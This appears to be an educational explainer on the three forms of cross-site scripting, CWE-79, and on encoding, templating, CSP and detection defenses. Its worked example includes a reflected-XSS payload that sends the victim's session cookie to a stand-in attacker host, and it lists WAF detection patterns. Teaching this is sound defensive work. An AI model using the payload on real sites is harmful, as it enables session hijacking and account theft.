Direct answer: Cross-Site Scripting (XSS) happens when an application takes attacker-influenced data and lets it execute as script in a victim's browser. There are three forms, distinguished by where the malicious payload lives and how it reaches the browser: stored (persisted on the server and served to other users), reflected (bounced straight back in the same response, e.g. in a search results page), and DOM-based (never touches the server at all; a client-side script reads attacker-controlled input, such as location.hash, and writes it into the page unsafely). All three map to CWE-79 (Improper Neutralization of Input During Web Page Generation).
How each arises and runs:
- Stored XSS: a comment field, profile bio, or support ticket is saved unescaped and later rendered to other users. Every visitor who views that page executes the payload. This is the most damaging form because it needs no social engineering; the victim just has to browse to a normal page.
- Reflected XSS: user input from the URL or a form field is echoed back into the HTML response without encoding, for example a "no results for
<search term>" message. The attacker has to trick a victim into clicking a crafted link that carries the payload.
- DOM-based XSS: the vulnerable code path never reaches the server. A script reads something attacker-controlled (URL fragment,
document.referrer, a postMessage payload) and writes it into the DOM via a "sink" like innerHTML or document.write. Because it is entirely client-side, server-side output encoding alone doesn't stop it; the fix has to be in the JavaScript itself.
Worked example. A page renders search results with <p>No results for "${query}"</p> built by direct string concatenation on the server. A request for ?q=<script>document.location='//evil.example/steal?c='+document.cookie</script> gets echoed verbatim. The browser parses the <script> tag as part of the page and executes it, sending the victim's session cookie to the attacker's server. This is reflected XSS: the payload lives entirely in the URL, and the server just bounces it back.
Mitigations, from most to least fundamental:
- Context-aware output encoding at the point of insertion - HTML-entity-encode for text nodes, JavaScript-string-encode inside
<script> blocks, URL-encode in href/src attributes. Encoding the wrong context (e.g. HTML-encoding something placed inside a <script> tag) is a common way this still fails.
- Safe templating and frameworks - modern templating engines (Jinja2 autoescape, React's JSX text nodes, Vue's
{{ }} interpolation) HTML-encode by default; the danger is almost always a deliberate escape hatch (|safe, dangerouslySetInnerHTML, v-html).
- Content Security Policy (CSP) as defense in depth - a strict policy (no
unsafe-inline, nonce- or hash-based script allowlisting) means an injected <script> tag simply won't execute even if the encoding step is missed somewhere.
- Sanitization libraries (e.g. DOMPurify) when you must accept some HTML, such as rich-text comments; never hand-roll an HTML sanitizer with regex, it will miss parser edge cases.
Trade-offs and pitfalls: encoding once at storage time and again at render time can double-encode and mangle legitimate content (an & becomes &amp;); the discipline is to store raw and encode only at output, per context. CSP is powerful but easy to weaken accidentally - a single unsafe-inline added to unblock a third-party analytics snippet reopens the whole class. On a modern single-page application, DOM-based XSS is now the more common real-world finding than server-reflected XSS, because so much rendering happens client-side; teams that only audit their server templates for encoding miss it entirely. Detection: for stored/reflected, grep for output sinks that don't go through the templating layer's auto-escaping; for DOM-based, trace every innerHTML/outerHTML/document.write/eval call back to its data source, and in a running app, browser devtools' "break on attribute modification" plus tools like DOMPurify's own test payloads help confirm a sink is genuinely reachable from attacker-controlled input.
For operational detection at runtime (useful when your own team runs a distributed system and wants defense in depth beyond code review): watch for a spike in requests carrying <script, javascript:, or onerror= patterns at the edge (WAF rules - a Web Application Firewall matching known attack signatures), and use DAST (Dynamic Application Security Testing) scans in CI to catch reflected cases before they ship. These controls catch what slips past code review; they are not a substitute for encoding at the source, since a sufficiently obfuscated payload (unicode escapes, case variation) will slip past a naive WAF signature.